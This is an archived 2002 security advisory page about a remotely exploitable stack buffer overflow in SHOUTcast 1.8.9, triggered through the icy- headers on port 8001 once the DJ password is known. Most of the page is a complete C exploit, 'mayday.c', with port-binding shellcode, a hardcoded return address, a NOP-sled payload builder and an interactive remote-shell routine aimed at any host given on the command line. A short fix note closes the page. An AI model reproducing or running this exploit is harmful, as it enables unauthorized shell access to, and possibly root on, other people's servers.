TUCoPS :: Linux :: Apps N-Z :: lnx5401.htm

SHOUTcast buffer overflow
5th Jun 2002 [SBWID-5401]
COMMAND

	SHOUTcast buffer overflow

SYSTEMS AFFECTED

	SHOUTcast 1.8.9

PROBLEM

	eSDee [eSDee@netric.org] reported following:
	

	Nullsoft\'s SHOUTcast 1.8.9 contains a bufferoverflow that  is  remotely
	exploitable. This allows a  malicious  DJ  to  gain  unauthorized  shell
	access to the system.
	

	The attacker must  know  the  DJ  password  in  order  to  exploit  this
	vulnerability. This will limit the impact of the  bug,  however  if  for
	example the shoutcast server is running as root, a DJ  can  obtain  root
	privileges.
	

	An attacker is able to overwrite  stackdata,  including  the  saved  eip
	register by sending the following data to port 8001:
	

	

	password\\n

	icy-name: netric

	icy-[doesn\'t matter]: [buffer]

	

	

	The icy-name buffer can be  overflowed  too,  but  this  buffer  is  not
	stored on the stack.
	

	

	 Exploit (Linux)

	 =======

	

	

	/*           _ ________            _____                        ______

	 *  __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______

	 *       _/    \\ _   /\\   __.  __//   ___/_    ___.  /_\\    /_    |     _/

	 * ___ ._\\    . \\\\  /__  _____/ _    /     \\_  |    /__      |   _| slc | _____ _

	 *    - -------\\______||--._____\\---._______//-|__    //-.___|----._____||

	 * mayday.c - SHOUTcast v1.8.9 remote exploit   / \\  / \"Never trust a DJ\"

	 * by eSDee of Netric (www.netric.org)             \\/

	 *

	 * Tested on:

	 * - Redhat 7.x

	 * - Redhat 6.x

	 * - Suse 6.x

	 * - Suse 7.x

	 *

	 * More information about this bug can be found at:

	 * http://www.netric.org/advisories/netric-adv006.txt

	 *

	 */

	

	#include <stdio.h>

	#include <netdb.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <netinet/in.h>

	#include <getopt.h>

	

	char shellcode[] =  /* binds to port 10000 by Bighawk */

	        \"\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\\x43\\x53\\x89\\xe1\\x4b\\xcd\"

	        \"\\x80\\x89\\xc7\\x52\\x66\\x68\\x27\\x10\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10\"

	        \"\\x51\\x57\\x89\\xe1\\xb0\\x66\\xcd\\x80\\xb0\\x66\\xb3\\x04\\xcd\\x80\\x50\"

	        \"\\x50\\x57\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x3f\"

	        \"\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x51\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\"

	        \"\\x62\\x69\\x89\\xe3\\x51\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";

	

	int sock;

	void usage();

	void shell();

	

	int

	main (int argc,char *argv[])

	{

	        char buf1[1130];

	        char buf2[1800];

	        char host[256];

	        char pass[256]=\"changeme\";

	

	        int i=0;

	        int c=0;

	        int port=8001;

	        unsigned int ret = 0x08069687;

	

	        fprintf(stdout,\"SHOUTcast v1.8.9 remote exploit by eSDee of Netric\\n\");

	        fprintf(stdout,\"-----------------------------------(www.netric.org)\\n\");

	

	        while((c=getopt(argc,argv,\"t:p:a:\")) !=EOF)

	        {

	                switch(c)

	                {

	                        case \'p\':

	                                port=atoi(optarg);

	                                if ((port <= 0) || (port > 65535)) {

	                                        fprintf(stderr,\"Invalid port.\\n\\n\");

	                                        exit(1);

	                                }

	                                break;

	                        case \'a\':

	                                memset(pass,0x0,sizeof(pass));

	                                strncpy(pass,optarg,sizeof(pass) - 1);

	                                break;

	                        case \'t\':

	                                memset(host,0x0,sizeof(host));

	                                strncpy(host,optarg,sizeof(host) - 1);

	                                break;

	                        default:

	                                usage(argv[0]);

	                                exit(1);

	                                break;

	                }

	        }

	

	

	        if (strlen(host) == 0) {

	                usage(argv[0]);

	                exit(1);

	        }

	        sock=openhost(host, port);

	

	        if (sock==-1) {

	                fprintf(stderr,\"- Unable to connect.\\n\\n\");

	                exit(1);

	        }

	

	        write(sock, pass, strlen(pass));

	        write(sock, \"\\n\", 1);

	

	        memset(buf2,  0x0, sizeof(buf2));

	        memset(buf1, 0x90, sizeof(buf1));

	

	        for(i=0;i < strlen(shellcode); i++) buf1[i+600] = shellcode[i];

	

	        buf1[759] = (ret & 0x000000ff);

	        buf1[760] = (ret & 0x0000ff00) >> 8;

	        buf1[761] = (ret & 0x00ff0000) >> 16;

	        buf1[762] = (ret & 0xff000000) >> 24;

	

	        buf1[1120] = 0x0;

	

	        sprintf(buf2,   \"icy-name: netric\\r\\n\"

	                        \"icy-aim: %s\\r\\n\"

	                        \"\\r\\n\", buf1);

	

	        fprintf(stdout, \"Connected, sending code...\\n\");

	        fprintf(stdout, \"Ret: 0x%08x\\n\", ret);

	

	        write(sock, buf2, strlen(buf2));

	        sleep(2);

	        close(sock);

	

	        sock=openhost(host, 10000);

	

	        if (sock==-1) {

	                fprintf(stderr, \"Exploit failed!\\n\\n\");

	                exit(1);

	        }

	

	        fprintf(stdout, \"Exploiting succesful.\\n\");

	        fprintf(stdout, \"---------------------------------------------------\\n\");

	        shell();

	        return 0;

	}

	

	void

	usage(char *prog)

	{

	        fprintf(stderr,\"Usage: %s -t [-pa]\\n\",prog);

	        fprintf(stderr,\"-t target       The host to attack.\\n\");

	        fprintf(stderr,\"-a password     Default password is \\\"changeme\\\".\\n\");

	        fprintf(stderr,\"-p port         Default port is 8001.\\n\\n\");

	}

	

	int

	openhost(char *host,int port)

	{

	        struct sockaddr_in addr;

	        struct hostent *he;

	

	        he=gethostbyname(host);

	

	        if (he==NULL) return -1;

	        sock=socket(AF_INET, SOCK_STREAM, getprotobyname(\"tcp\")->p_proto);

	        if (sock==-1) return -1;

	

	        memcpy(&addr.sin_addr, he->h_addr, he->h_length);

	

	        addr.sin_family=AF_INET;

	        addr.sin_port=htons(port);

	

	        if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)

	        sock=-1;

	        return sock;

	}

	

	void shell() /* taken from an old wuftp exploit */

	{

	        fd_set  fd_read;

	        char buff[1024], *cmd=\"/bin/uname -a;/usr/bin/id;\\n\";

	        int n;

	

	        FD_ZERO(&fd_read);

	        FD_SET(sock, &fd_read);

	        FD_SET(0, &fd_read);

	

	        send(sock, cmd, strlen(cmd), 0);

	        while(1) {

	                FD_SET(sock,&fd_read);

	                FD_SET(0,&fd_read);

	                if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

	                if( FD_ISSET(sock, &fd_read) ) {

	                        if((n=recv(sock,buff,sizeof(buff),0))<0){

	                                fprintf(stderr, \"EOF\\n\");

	                                exit(2);

	                        }

	                        if(write(1,buff,n)<0)break;

	                }

	

	                if ( FD_ISSET(0, &fd_read) ) {

	                        if((n=read(0,buff,sizeof(buff)))<0){

	                                fprintf(stderr,\"EOF\\n\");

	                                exit(2);

	                        }

	                        if(send(sock,buff,n,0)<0) break;

	                }

	                usleep(10);

	                }

	                fprintf(stderr,\"Connection lost.\\n\");

	                exit(0);

	}

	

	

SOLUTION

	Fixed in version 1.8.12

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH